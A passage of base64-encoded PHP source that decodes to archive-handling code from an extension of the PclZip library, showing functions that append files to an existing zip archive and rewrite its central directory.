HRoZSBmaXJzdCBvbmUgaXMgc3RpbGwgcHJlc2VudC4KCQkvLyAgIElmIHRoZSBhcmNoaXZlIGRvZXMgbm90IGV4aXN0LCBpdCBpcyBjcmVhdGVkLgoJCS8vIFBhcmFtZXRlcnMgOgoJCS8vICAgJHBfZmlsZWxpc3QgOiBBbiBhcnJheSBjb250YWluaW5nIGZpbGUgb3IgZGlyZWN0b3J5IG5hbWVzLCBvcgoJCS8vICAgICAgICAgICAgICAgICBhIHN0cmluZyBjb250YWluaW5nIG9uZSBmaWxlbmFtZSBvciBvbmUgZGlyZWN0b3J5IG5hbWUsIG9yCgkJLy8gICAgICAgICAgICAgICAgIGEgc3RyaW5nIGNvbnRhaW5pbmcgYSBsaXN0IG9mIGZpbGVuYW1lcyBhbmQvb3IgZGlyZWN0b3J5CgkJLy8gICAgICAgICAgICAgICAgIG5hbWVzIHNlcGFyYXRlZCBieSBzcGFjZXMuCgkJLy8gICAkcF9hZGRfZGlyIDogQSBwYXRoIHRvIGFkZCBiZWZvcmUgdGhlIHJlYWwgcGF0aCBvZiB0aGUgYXJjaGl2ZWQgZmlsZSwKCQkvLyAgICAgICAgICAgICAgICBpbiBvcmRlciB0byBoYXZlIGl0IG1lbW9yaXplZCBpbiB0aGUgYXJjaGl2ZS4KCQkvLyAgICRwX3JlbW92ZV9kaXIgOiBBIHBhdGggdG8gcmVtb3ZlIGZyb20gdGhlIHJlYWwgcGF0aCBvZiB0aGUgZmlsZSB0byBhcmNoaXZlLAoJCS8vICAgICAgICAgICAgICAgICAgIGluIG9yZGVyIHRvIGhhdmUgYSBzaG9ydGVyIHBhdGggbWVtb3JpemVkIGluIHRoZSBhcmNoaXZlLgoJCS8vICAgICAgICAgICAgICAgICAgIFdoZW4gJHBfYWRkX2RpciBhbmQgJHBfcmVtb3ZlX2RpciBhcmUgc2V0LCAkcF9yZW1vdmVfZGlyCgkJLy8gICAgICAgICAgICAgICAgICAgaXMgcmVtb3ZlZCBmaXJzdCwgYmVmb3JlICRwX2FkZF9kaXIgaXMgYWRkZWQuCgkJLy8gT3B0aW9ucyA6CgkJLy8gICBQQ0xaSVBfT1BUX0FERF9QQVRIIDoKCQkvLyAgIFBDTFpJUF9PUFRfUkVNT1ZFX1BBVEggOgoJCS8vICAgUENMWklQX09QVF9SRU1PVkVfQUxMX1BBVEggOgoJCS8vICAgUENMWklQX09QVF9DT01NRU5UIDoKCQkvLyAgIFBDTFpJUF9PUFRfQUREX0NPTU1FTlQgOgoJCS8vICAgUENMWklQX09QVF9QUkVQRU5EX0NPTU1FTlQgOgoJCS8vICAgUENMWklQX0NCX1BSRV9BREQgOgoJCS8vICAgUENMWklQX0NCX1BPU1RfQUREIDoKCQkvLyBSZXR1cm4gVmFsdWVzIDoKCQkvLyAgIDAgb24gZmFpbHVyZSwKCQkvLyAgIFRoZSBsaXN0IG9mIHRoZSBhZGRlZCBmaWxlcywgd2l0aCBhIHN0YXR1cyBvZiB0aGUgYWRkIGFjdGlvbi4KCQkvLyAgIChzZWUgUGNsWmlwOjpsaXN0Q29udGVudCgpIGZvciBsaXN0IGVudHJ5IGZvcm1hdCkKCQkvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCWZ1bmN0aW9uIF9ncm93KCRwX2ZpbGVsaXN0KQoJCXsKCQkkdl9yZXN1bHQ9MTsKCgkJLy8gLS0tLS0gUmVzZXQgdGhlIGVycm9yIGhhbmRsZXIKCQkkdGhpcy0+X3phLT5wcml2RXJyb3JSZXNldCgpOwoKCQkvLyAtLS0tLSBTZXQgZGVmYXVsdCB2YWx1ZXMKCQkkdl9vcHRpb25zID0gYXJyYXkoKTsKCQkkdl9vcHRpb25zW1BDTFpJUF9PUFRfTk9fQ09NUFJFU1NJT05dID0gRkFMU0U7CgoJCS8vIC0tLS0tIExvb2sgZm9yIHZhcmlhYmxlIG9wdGlvbnMgYXJndW1lbnRzCgkJJHZfc2l6ZSA9IGZ1bmNfbnVtX2FyZ3MoKTsKCgkJLy8gLS0tLS0gTG9vayBmb3IgYXJndW1lbnRzCgkJaWYgKCR2X3NpemUgPiAxKSB7CgkJICAvLyAtLS0tLSBHZXQgdGhlIGFyZ3VtZW50cwoJCSAgJHZfYXJnX2xpc3QgPSBmdW5jX2dldF9hcmdzKCk7CgoJCSAgLy8gLS0tLS0gUmVtb3ZlIGZvcm0gdGhlIG9wdGlvbnMgbGlzdCB0aGUgZmlyc3QgYXJndW1lbnQKCQkgIGFycmF5X3NoaWZ0KCR2X2FyZ19saXN0KTsKCQkgICR2X3NpemUtLTsKCgkJICAvLyAtLS0tLSBMb29rIGZvciBmaXJzdCBhcmcKCQkgIGlmICgoaXNfaW50ZWdlcigkdl9hcmdfbGlzdFswXSkpICYmICgkdl9hcmdfbGlzdFswXSA+IDc3MDAwKSkgewoKCQkJLy8gLS0tLS0gUGFyc2UgdGhlIG9wdGlvbnMKCQkJJHZfcmVzdWx0ID0gJHRoaXMtPl96YS0+cHJpdlBhcnNlT3B0aW9ucygkdl9hcmdfbGlzdCwgJHZfc2l6ZSwgJHZfb3B0aW9ucywKCQkJCQkJCQkJCQkJYXJyYXkgKFBDTFpJUF9PUFRfUkVNT1ZFX1BBVEggPT4gJ29wdGlvbmFsJywKCQkJCQkJCQkJCQkJCSAgIFBDTFpJUF9PUFRfUkVNT1ZFX0FMTF9QQVRIID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX0FERF9QQVRIID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfQ0JfUFJFX0FERCA9PiAnb3B0aW9uYWwnLAoJCQkJCQkJCQkJCQkJICAgUENMWklQX0NCX1BPU1RfQUREID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX05PX0NPTVBSRVNTSU9OID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX0NPTU1FTlQgPT4gJ29wdGlvbmFsJywKCQkJCQkJCQkJCQkJCSAgIFBDTFpJUF9PUFRfQUREX0NPTU1FTlQgPT4gJ29wdGlvbmFsJywKCQkJCQkJCQkJCQkJCSAgIFBDTFpJUF9PUFRfUFJFUEVORF9DT01NRU5UID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX1RFTVBfRklMRV9USFJFU0hPTEQgPT4gJ29wdGlvbmFsJywKCQkJCQkJCQkJCQkJCSAgIFBDTFpJUF9PUFRfVEVNUF9GSUxFX09OID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX1RFTVBfRklMRV9PRkYgPT4gJ29wdGlvbmFsJwoJCQkJCQkJCQkJCQkJICAgLy8sIFBDTFpJUF9PUFRfQ1JZUFQgPT4gJ29wdGlvbmFsJwoJCQkJCQkJCQkJCQkJICAgKSk7CgkJCWlmICgkdl9yZXN1bHQgIT0gMSkgewoJCQkgIHJldHVybiAwOwoJCQl9CgkJICB9CgoJCSAgLy8gLS0tLS0gTG9vayBmb3IgMiBhcmdzCgkJICAvLyBIZXJlIHdlIG5lZWQgdG8gc3VwcG9ydCB0aGUgZmlyc3QgaGlzdG9yaWMgc3lub3BzaXMgb2YgdGhlCgkJICAvLyBtZXRob2QuCgkJICBlbHNlIHsKCgkJCS8vIC0tLS0tIEdldCB0aGUgZmlyc3QgYXJndW1lbnQKCQkJJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX0FERF9QQVRIXSA9ICR2X2FkZF9wYXRoID0gJHZfYXJnX2xpc3RbMF07CgoJCQkvLyAtLS0tLSBMb29rIGZvciB0aGUgb3B0aW9uYWwgc2Vjb25kIGFyZ3VtZW50CgkJCWlmICgkdl9zaXplID09IDIpIHsKCQkJICAkdl9vcHRpb25zW1BDTFpJUF9PUFRfUkVNT1ZFX1BBVEhdID0gJHZfYXJnX2xpc3RbMV07CgkJCX0KCQkJZWxzZSBpZiAoJHZfc2l6ZSA+IDIpIHsKCQkJICAvLyAtLS0tLSBFcnJvciBsb2cKCQkJICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfUEFSQU1FVEVSLCAiSW52YWxpZCBudW1iZXIgLyB0eXBlIG9mIGFyZ3VtZW50cyIpOwoKCQkJICAvLyAtLS0tLSBSZXR1cm4KCQkJICByZXR1cm4gMDsKCQkJfQoJCSAgfQoJCX0KCgkJLy8gLS0tLS0gTG9vayBmb3IgZGVmYXVsdCBvcHRpb24gdmFsdWVzCgkJJHRoaXMtPl96YS0+cHJpdk9wdGlvbkRlZmF1bHRUaHJlc2hvbGQoJHZfb3B0aW9ucyk7CgoJCS8vIC0tLS0tIEluaXQKCQkkdl9zdHJpbmdfbGlzdCA9IGFycmF5KCk7CgkJJHZfYXR0X2xpc3QgPSBhcnJheSgpOwoJCSR2X2ZpbGVkZXNjcl9saXN0ID0gYXJyYXkoKTsKCQkkcF9yZXN1bHRfbGlzdCA9IGFycmF5KCk7CgoJCS8vIC0tLS0tIExvb2sgaWYgdGhlICRwX2ZpbGVsaXN0IGlzIHJlYWxseSBhbiBhcnJheQoJCWlmIChpc19hcnJheSgkcF9maWxlbGlzdCkpIHsKCgkJICAvLyAtLS0tLSBMb29rIGlmIHRoZSBmaXJzdCBlbGVtZW50IGlzIGFsc28gYW4gYXJyYXkKCQkgIC8vICAgICAgIFRoaXMgd2lsbCBtZWFuIHRoYXQgdGhpcyBpcyBhIGZpbGUgZGVzY3JpcHRpb24gZW50cnkKCQkgIGlmIChpc3NldCgkcF9maWxlbGlzdFswXSkgJiYgaXNfYXJyYXkoJHBfZmlsZWxpc3RbMF0pKSB7CgkJCSR2X2F0dF9saXN0ID0gJHBfZmlsZWxpc3Q7CgkJICB9CgoJCSAgLy8gLS0tLS0gVGhlIGxpc3QgaXMgYSBsaXN0IG9mIHN0cmluZyBuYW1lcwoJCSAgZWxzZSB7CgkJCSR2X3N0cmluZ19saXN0ID0gJHBfZmlsZWxpc3Q7CgkJICB9CgkJfQoKCQkvLyAtLS0tLSBMb29rIGlmIHRoZSAkcF9maWxlbGlzdCBpcyBhIHN0cmluZwoJCWVsc2UgaWYgKGlzX3N0cmluZygkcF9maWxlbGlzdCkpIHsKCQkgIC8vIC0tLS0tIENyZWF0ZSBhIGxpc3QgZnJvbSB0aGUgc3RyaW5nCgkJICAkdl9zdHJpbmdfbGlzdCA9IGV4cGxvZGUoUENMWklQX1NFUEFSQVRPUiwgJHBfZmlsZWxpc3QpOwoJCX0KCgkJLy8gLS0tLS0gSW52YWxpZCB2YXJpYWJsZSB0eXBlIGZvciAkcF9maWxlbGlzdAoJCWVsc2UgewoJCSAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIkludmFsaWQgdmFyaWFibGUgdHlwZSAnIi5nZXR0eXBlKCRwX2ZpbGVsaXN0KS4iJyBmb3IgcF9maWxlbGlzdCIpOwoJCSAgcmV0dXJuIDA7CgkJfQoKCQkvLyAtLS0tLSBSZWZvcm1hdCB0aGUgc3RyaW5nIGxpc3QKCQlpZiAoc2l6ZW9mKCR2X3N0cmluZ19saXN0KSAhPSAwKSB7CgkJICBmb3JlYWNoICgkdl9zdHJpbmdfbGlzdCBhcyAkdl9zdHJpbmcpIHsKCQkJJHZfYXR0X2xpc3RbXVtQQ0xaSVBfQVRUX0ZJTEVfTkFNRV0gPSAkdl9zdHJpbmc7CgkJICB9CgkJfQoKCQkvLyAtLS0tLSBGb3IgZWFjaCBmaWxlIGluIHRoZSBsaXN0IGNoZWNrIHRoZSBhdHRyaWJ1dGVzCgkJJHZfc3VwcG9ydGVkX2F0dHJpYnV0ZXMKCQk9IGFycmF5ICggUENMWklQX0FUVF9GSUxFX05BTUUgPT4gJ21hbmRhdG9yeScKCQkJCSAsUENMWklQX0FUVF9GSUxFX05FV19TSE9SVF9OQU1FID0+ICdvcHRpb25hbCcKCQkJCSAsUENMWklQX0FUVF9GSUxFX05FV19GVUxMX05BTUUgPT4gJ29wdGlvbmFsJwoJCQkJICxQQ0xaSVBfQVRUX0ZJTEVfTVRJTUUgPT4gJ29wdGlvbmFsJwoJCQkJICxQQ0xaSVBfQVRUX0ZJTEVfQ09OVEVOVCA9PiAnb3B0aW9uYWwnCgkJCQkgLFBDTFpJUF9BVFRfRklMRV9DT01NRU5UID0+ICdvcHRpb25hbCcKCQkJCQkJCSk7CgkJZm9yZWFjaCAoJHZfYXR0X2xpc3QgYXMgJHZfZW50cnkpIHsKCQkgICR2X3Jlc3VsdCA9ICR0aGlzLT5femEtPnByaXZGaWxlRGVzY3JQYXJzZUF0dCgkdl9lbnRyeSwKCQkJCQkJCQkJCQkJICAgJHZfZmlsZWRlc2NyX2xpc3RbXSwKCQkJCQkJCQkJCQkJICAgJHZfb3B0aW9ucywKCQkJCQkJCQkJCQkJICAgJHZfc3VwcG9ydGVkX2F0dHJpYnV0ZXMpOwoJCSAgaWYgKCR2X3Jlc3VsdCAhPSAxKSB7CgkJCXJldHVybiAwOwoJCSAgfQoJCX0KCgkJLy8gLS0tLS0gRXhwYW5kIHRoZSBmaWxlbGlzdCAoZXhwYW5kIGRpcmVjdG9yaWVzKQoJCSR2X3Jlc3VsdCA9ICR0aGlzLT5femEtPnByaXZGaWxlRGVzY3JFeHBhbmQoJHZfZmlsZWRlc2NyX2xpc3QsICR2X29wdGlvbnMpOwoJCWlmICgkdl9yZXN1bHQgIT0gMSkgewoJCSAgcmV0dXJuIDA7CgkJfQoKCQkvLyAtLS0tLSBDYWxsIHRoZSBjcmVhdGUgZmN0CgkJJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZHcm93KCR2X2ZpbGVkZXNjcl9saXN0LCAkcF9yZXN1bHRfbGlzdCwgJHZfb3B0aW9ucyk7CgkJaWYgKCR2X3Jlc3VsdCAhPSAxKSB7CgkJICByZXR1cm4gMDsKCQl9CgoJCS8vIC0tLS0tIFJldHVybgoJCXJldHVybiAkcF9yZXN1bHRfbGlzdDsKCQl9CgkJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgkJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkvLyBGdW5jdGlvbiA6IHByaXZHcm93KCkKCQkvLyBEZXNjcmlwdGlvbiA6CgkJLy8gUGFyYW1ldGVycyA6CgkJLy8gUmV0dXJuIFZhbHVlcyA6CgkJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQlmdW5jdGlvbiBwcml2R3JvdygkcF9maWxlZGVzY3JfbGlzdCwgJiRwX3Jlc3VsdF9saXN0LCAmJHBfb3B0aW9ucykKCQl7CgkJJHZfcmVzdWx0PTE7CgkJJHZfbGlzdF9kZXRhaWwgPSBhcnJheSgpOwoKCQkvLyAtLS0tLSBMb29rIGlmIHRoZSBhcmNoaXZlIGV4aXN0cyBvciBpcyBlbXB0eQoJCWlmICgoIWlzX2ZpbGUoJHRoaXMtPl96YS0+emlwbmFtZSkpIHx8IChmaWxlc2l6ZSgkdGhpcy0+X3phLT56aXBuYW1lKSA9PSAwKSkKCQl7CgoJCSAgLy8gLS0tLS0gRG8gYSBjcmVhdGUKCQkgICR2X3Jlc3VsdCA9ICR0aGlzLT5femEtPnByaXZDcmVhdGUoJHBfZmlsZWRlc2NyX2xpc3QsICRwX3Jlc3VsdF9saXN0LCAkcF9vcHRpb25zKTsKCgkJICAvLyAtLS0tLSBSZXR1cm4KCQkgIHJldHVybiAkdl9yZXN1bHQ7CgkJfQoJCS8vIC0tLS0tIE1hZ2ljIHF1b3RlcyB0cmljawoJCSR0aGlzLT5femEtPnByaXZEaXNhYmxlTWFnaWNRdW90ZXMoKTsKCiAgICAJLy8gLS0tLS0gT3BlbiB0aGUgemlwIGZpbGUKCQkvLyAtLS0tLSBPcGVuIHRoZSB6aXAgZmlsZSBpbiByL3cgYmluYXJ5IG1vZGUgd2l0aCBubyB0cnVuY2F0aW9uIGFuZCBmaWxlIHBvaW50ZXIgYXQgc3RhcnQKCQlpZiAoKCR2X3Jlc3VsdD0kdGhpcy0+X3phLT5wcml2T3BlbkZkKCdjK2InKSkgIT0gMSkKCQl7CgkJICAvLyAtLS0tLSBNYWdpYyBxdW90ZXMgdHJpY2sKCQkgICR0aGlzLT5femEtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgoJCSAgLy8gLS0tLS0gUmV0dXJuCgkJICByZXR1cm4gJHZfcmVzdWx0OwoJCX0KCgkJLy8gLS0tLS0gUmVhZCB0aGUgY2VudHJhbCBkaXJlY3RvcnkgaW5mb3JtYXRpb25zCgkJJHZfY2VudHJhbF9kaXIgPSBhcnJheSgpOwoJCWlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPl96YS0+cHJpdlJlYWRFbmRDZW50cmFsRGlyKCR2X2NlbnRyYWxfZGlyKSkgIT0gMSkKCQl7CgkJICAkdGhpcy0+X3phLT5wcml2Q2xvc2VGZCgpOwoJCSAgJHRoaXMtPl96YS0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCQkgIHJldHVybiAkdl9yZXN1bHQ7CgkJfQoKCQkvLyAtLS0tLSBHbyB0byBiZWdpbm5pbmcgb2YgRmlsZQoJCS8vQHJld2luZCgkdGhpcy0+X3phLT56aXBfZmQpOwoJCS8vIC0tLS0tIEdvIHRvIHRoZSBzdGFydCBvZiB0aGUgY2VudHJhbCBkaXIKCQlAZnNlZWsoJHRoaXMtPl96YS0+emlwX2ZkLCAkdl9jZW50cmFsX2Rpclsnb2Zmc2V0J10pOwoKCQkvLyAtLS0tLSBDcmVhdGVzIGEgdGVtcG9yYXkgZmlsZQoJCS8vJHZfemlwX3RlbXBfbmFtZSA9IFBDTFpJUF9URU1QT1JBUllfRElSLnVuaXFpZCgncGNsemlwLScpLicudG1wJzsKCQkkdl96aXBfdGVtcF9uYW1lID0gJ3BocDovL3RlbXAvbWF4bWVtb3J5OjEwNDg1NzYwJzsKCgkgICAgLy8gLS0tLS0gT3BlbiB0aGUgdGVtcG9yYXJ5IGZpbGUgaW4gd3JpdGUgbW9kZQoJICAgIC8vaWYgKCgkdl96aXBfdGVtcF9mZCA9IEBmb3Blbigkdl96aXBfdGVtcF9uYW1lLCAnd2InKSkgPT0gMCkKCQkvLyAtLS0tLSBPcGVuIHRoZSB0ZW1wb3JhcnkgZmlsZSBpbiByZWFkL3dyaXRlIG1vZGUKCQlpZiAoKCR2X3ppcF90ZW1wX2ZkID0gQGZvcGVuKCR2X3ppcF90ZW1wX25hbWUsICd3K2InKSkgPT0gMCkKCQl7CgkJICAkdGhpcy0+X3phLT5wcml2Q2xvc2VGZCgpOwoJCSAgJHRoaXMtPl96YS0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCgkJICAvL1BjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwsICdVbmFibGUgdG8gb3BlbiB0ZW1wb3JhcnkgZmlsZSBcJycuJHZfemlwX3RlbXBfbmFtZS4nXCcgaW4gYmluYXJ5IHdyaXRlIG1vZGUnKTsKCQkgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwsICdVbmFibGUgdG8gb3BlbiB0ZW1wb3JhcnkgZmlsZSBcJycuJHZfemlwX3RlbXBfbmFtZS4nXCcgaW4gYmluYXJ5IHJlYWQvd3JpdGUgbW9kZScpOwoKCQkgIC8vIC0tLS0tIFJldHVybgoJCSAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CgkJfQoKCQkvLyAtLS0tLSBDb3B5IHRoZSBmaWxlcyBmcm9tIHRoZSBhcmNoaXZlIHRvIHRoZSB0ZW1wb3JhcnkgZmlsZQoJCS8vIFRCQyA6IEhlcmUgSSBzaG91bGQgYmV0dGVyIGFwcGVuZCB0aGUgZmlsZSBhbmQgZ28gYmFjayB0byBlcmFzZSB0aGUgY2VudHJhbCBkaXIKCQkvLyR2X3NpemUgPSAkdl9jZW50cmFsX2Rpclsnb2Zmc2V0J107CgkJLy8gLS0tLS0gQ29weSB0aGUgZXhpc3RpbmcgY2VudHJhbCBkaXIgdG8gYSB0ZW1wb3JhcnkgZmlsZQoJCSR2X3NpemUgPSAkdl9jZW50cmFsX2Rpclsnc2l6ZSddOwoJCXdoaWxlICgkdl9zaXplICE9IDApCgkJewoJCSAgJHZfcmVhZF9zaXplID0gKCR2X3NpemUgPCBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFID8gJHZfc2l6ZSA6IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUpOwoJCSAgJHZfYnVmZmVyID0gZnJlYWQoJHRoaXMtPl96YS0+emlwX2ZkLCAkdl9yZWFkX3NpemUpOwoJCSAgQGZ3cml0ZSgkdl96aXBfdGVtcF9mZCwgJHZfYnVmZmVyLCAkdl9yZWFkX3NpemUpOwoJCSAgJHZfc2l6ZSAtPSAkdl9yZWFkX3NpemU7CgkJfQoKCQkvLyAtLS0tLSBTd2FwIHRoZSBmaWxlIGRlc2NyaXB0b3IKCQkvLyBIZXJlIGlzIGEgdHJpY2sgOiBJIHN3YXAgdGhlIHRlbXBvcmFyeSBmZCB3aXRoIHRoZSB6aXAgZmQsIGluIG9yZGVyIHRvIHVzZQoJCS8vIHRoZSBmb2xsb3dpbmcgbWV0aG9kcyBvbiB0aGUgdGVtcG9yYXJ5IGZpbCBhbmQgbm90IHRoZSByZWFsIGFyY2hpdmUKCQkvLyR2X3N3YXAgPSAkdGhpcy0+X3phLT56aXBfZmQ7CgkJLy8kdGhpcy0+X3phLT56aXBfZmQgPSAkdl96aXBfdGVtcF9mZDsKCQkvLyR2X3ppcF90ZW1wX2ZkID0gJHZfc3dhcDsKCQkvLyAtLS0tLSBNb2RpZnkgZXhpc3RpbmcgemlwIGZpbGUgc28ga2VlcCBmaWxlIGRlc2NyaXB0b3JzIGFzIHRoZXkgYXJlCgkJCgkJLy8gLS0tLS0gTm93IHRydW5jYXRlIGFmdGVyIGV4aXN0aW5nIGZpbGVzIGFuZCBzZWVrIHRvIGVuZCB0byBhZGQgbmV3IGZpbGVzCgkJQHJld2luZCgkdGhpcy0+X3phLT56aXBfZmQpOwoJCUBmdHJ1bmNhdGUoJHRoaXMtPl96YS0+emlwX2ZkLCAkdl9jZW50cmFsX2Rpclsnb2Zmc2V0J10pOwoJCUBmc2VlaygkdGhpcy0+X3phLT56aXBfZmQsIDAsIFNFRUtfRU5EKTsKCgkJLy8gLS0tLS0gQWRkIHRoZSBmaWxlcwoJCSR2X2hlYWRlcl9saXN0ID0gYXJyYXkoKTsKCQlpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5femEtPnByaXZBZGRGaWxlTGlzdCgkcF9maWxlZGVzY3JfbGlzdCwgJHZfaGVhZGVyX2xpc3QsICRwX29wdGlvbnMpKSAhPSAxKQoJCXsKCQkgIGZjbG9zZSgkdl96aXBfdGVtcF9mZCk7CgkJICAkdGhpcy0+X3phLT5wcml2Q2xvc2VGZCgpOwoJCSAgLy9AdW5saW5rKCR2X3ppcF90ZW1wX25hbWUpOwoJCSAgJHRoaXMtPl96YS0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCgkJICAvLyAtLS0tLSBSZXR1cm4KCQkgIHJldHVybiAkdl9yZXN1bHQ7CgkJfQoKCQkvLyAtLS0tLSBTdG9yZSB0aGUgb2Zmc2V0IG9mIHRoZSBjZW50cmFsIGRpcgoJCSR2X29mZnNldCA9IEBmdGVsbCgkdGhpcy0+X3phLT56aXBfZmQpOwoJCQoJCS8vIC0tLS0tIFJld2luZCB0ZW1wIGZpbGUgcmVhZHkgdG8gY29weSBvcmlnaW5hbCBjZW50cmFsIGRpciBlbnRyaWVzCgkJQHJld2luZCgkdl96aXBfdGVtcF9mZCk7CgoJCS8vIC0tLS0tIENvcHkgdGhlIGJsb2NrIG9mIGZpbGUgaGVhZGVycyBmcm9tIHRoZSBvbGQgYXJjaGl2ZQoJCSR2X3NpemUgPSAkdl9jZW50cmFsX2Rpclsnc2l6ZSddOwoJCXdoaWxlICgkdl9zaXplICE9IDApCgkJewoJCSAgJHZfcmVhZF9zaXplID0gKCR2X3NpemUgPCBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFID8gJHZfc2l6ZSA6IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUpOwoJCSAgJHZfYnVmZmVyID0gQGZyZWFkKCR2X3ppcF90ZW1wX2ZkLCAkdl9yZWFkX3NpemUpOwoJCSAgQGZ3cml0ZSgkdGhpcy0+X3phLT56aXBfZmQsICR2X2J1ZmZlciwgJHZfcmVhZF9zaXplKTsKCQkgICR2X3NpemUgLT0gJHZfcmVhZF9zaXplOwoJCX0KCgkJLy8gLS0tLS0gQ3JlYXRlIHRoZSBDZW50cmFsIERpciBmaWxlcyBoZWFkZXIKCQlmb3IgKCRpPTAsICR2X2NvdW50PTA7ICRpPHNpemVvZigkdl9oZWFkZXJfbGlzdCk7ICRpKyspCgkJewoJCSAgLy8gLS0tLS0gQ3JlYXRlIHRoZSBmaWxlIGhlYWRlcgoJCSAgaWYgKCR2X2hlYWRlcl9saXN0WyRpXVsnc3RhdHVzJ10gPT0gJ29rJykgewoJCQlpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5femEtPnByaXZXcml0ZUNlbnRyYWxGaWxlSGVhZGVyKCR2X2hlYWRlcl9saXN0WyRpXSkpICE9IDEpIHsKCQkJICBmY2xvc2UoJHZfemlwX3RlbXBfZmQpOwoJCQkgICR0aGlzLT5femEtPnByaXZDbG9zZUZkKCk7CgkJCSAgLy9AdW5saW5rKCR2X3ppcF90ZW1wX25hbWUpOwoJCQkgICR0aGlzLT5femEtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgoJCQkgIC8vIC0tLS0tIFJldHVybgoJCQkgIHJldHVybiAkdl9yZXN1bHQ7CgkJCX0KCQkJJHZfY291bnQrKzsKCQkgIH0KCgkJICAvLyAtLS0tLSBUcmFuc2Zvcm0gdGhlIGhlYWRlciB0byBhICd1c2FibGUnIGluZm8KCQkgICR0aGlzLT5femEtPnByaXZDb252ZXJ0SGVhZGVyMkZpbGVJbmZvKCR2X2hlYWRlcl9saXN0WyRpXSwgJHBfcmVzdWx0X2xpc3RbJGldKTsKCQl9CgoJCS8vIC0tLS0tIFppcCBmaWxlIGNvbW1lbnQKCQkkdl9jb21tZW50ID0gJHZfY2VudHJhbF9kaXJbJ2NvbW1lbnQnXTsKCQlpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0NPTU1FTlRdKSkgewoJCSAgJHZfY29tbWVudCA9ICRwX29wdGlvbnNbUENMWklQX09QVF9DT01NRU5UXTsKCQl9CgkJaWYgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9BRERfQ09NTUVOVF0pKSB7CgkJICAkdl9jb21tZW50ID0gJHZfY29tbWVudC4kcF9vcHRpb25zW1BDTFpJUF9PUFRfQUREX0NPTU1FTlRdOwoJCX0KCQlpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1BSRVBFTkRfQ09NTUVOVF0pKSB7CgkJICAkdl9jb21tZW50ID0gJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1BSRVBFTkRfQ09NTUVOVF0uJHZfY29tbWVudDsKCQl9CgoJCS8vIC0tLS0tIENhbGN1bGF0ZSB0aGUgc2l6ZSBvZiB0aGUgY2VudHJhbCBoZWFkZXIKCQkkdl9zaXplID0gQGZ0ZWxsKCR0aGlzLT5femEtPnppcF9mZCktJHZfb2Zmc2V0OwoKCQkvLyAtLS0tLSBDcmVhdGUgdGhlIGNlbnRyYWwgZGlyIGZvb3RlcgoJCWlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPl96YS0+cHJpdldyaXRlQ2VudHJhbEhlYWRlcigkdl9jb3VudCskdl9jZW50cmFsX2RpclsnZW50cmllcyddLCAkdl9zaXplLCAkdl9vZmZzZXQsICR2X2NvbW1lbnQpKSAhPSAxKQoJCXsKCQkgIC8vIC0tLS0tIFJlc2V0IHRoZSBmaWxlIGxpc3QKCQkgIHVuc2V0KCR2X2hlYWRlcl9saXN0KTsKCQkgICR0aGlzLT5femEtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgoJCSAgLy8gLS0tLS0gUmV0dXJuCgkJICByZXR1cm4gJHZfcmVzdWx0OwoJCX0KCgkJLy8gLS0tLS0gU3dhcCBiYWNrIHRoZSBmaWxlIGRlc2NyaXB0b3IKCQkvLyR2X3N3YXAgPSAkdGhpcy0+X3phLT56aXBfZmQ7CgkJLy8kdGhpcy0+X3phLT56aXBfZmQgPSAkdl96aXBfdGVtcF9mZDsKCQkvLyR2X3ppcF90ZW1wX2ZkID0gJHZfc3dhcDsKCQkvLyAtLS0tLSBGaWxl